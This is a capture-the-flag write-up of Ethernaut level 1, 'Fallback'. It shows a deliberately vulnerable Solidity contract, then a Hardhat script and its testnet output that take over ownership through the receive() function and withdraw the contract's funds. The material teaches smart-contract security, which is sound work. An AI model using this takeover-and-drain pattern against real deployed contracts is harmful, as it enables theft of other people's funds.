Ethernaut #01 Fallback

Fallback

Challenge

Look carefully at the contract’s code below.

You will beat this level if

you claim ownership of the contract
you reduce its balance to 0

Things that might help

How to send ether when interacting with an ABI
How to send ether outside of the ABI
Converting to and from wei/ether units (see help() command)
Fallback methods
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

Background

The fallback function is a function that is called when the function identifier does not match any of the contract functions or if a function call is invoked without any data (hence no function identifier is provided). Since Solidity 0.6.0 a the function receive was introduced. receive works the same way as fallback but is called when the invocation has a value (funds).

Attack

Solving this is pretty straight forward. The whole challenge just seems to be around understanding how to invoke the fallback functionality (more specifically the receive functionality).

So the attack would look something like this

fallback-solve.js

const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");

async function main() {
    // get contract
    fallbackAddress = "0x253Acf9cFeB752D9A1ce78b808b292E4D91C2c46";
    contract = await ethers.getContractAt("Fallback", fallbackAddress);

    // get account
    const accounts = await hre.ethers.getSigners();
    account = accounts[0];

    // initial state
    console.log("Level address   : " + contract.address)
    console.log("Contract Owner  : " + await contract.owner())
    console.log("Contract Balance: " + await ethers.provider.getBalance(contract.address))

    // make small contribution
    tx = await contract.connect(account).contribute({ value: ethers.utils.parseEther("0.001") - 1 })
    receipt = await tx.wait()

    // call fallback function and become owner
    tx = await account.sendTransaction({
        to: contract.address,
        data: "0x",
        value: ethers.utils.parseEther("0.001")
    });
    receipt = await tx.wait()

    // withdraw contract funds
    tx = await contract.connect(account).withdraw()
    receipt = await tx.wait()

    // final state
    console.log("Contract Owner  : " + await contract.owner())
    console.log("Contract Balance: " + await ethers.provider.getBalance(contract.address))
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
$ npx hardhat run scripts/fallback-solve.js --network rinkeby
Level address   : 0x253Acf9cFeB752D9A1ce78b808b292E4D91C2c46
Contract Owner  : 0x9CB391dbcD447E645D6Cb55dE6ca23164130D008
Contract Balance: 0
Contract Owner  : 0x11bAe9eA1851939a485f1F00b7B0Eec099e9276d
Contract Balance: 0

Success Message

You know the basics of how ether goes in and out of contracts, including the usage of the fallback method.

You’ve also learnt about OpenZeppelin’s Ownable contract, and how it can be used to restrict the usage of some methods to a privileged address.

Move on to the next level when you’re ready!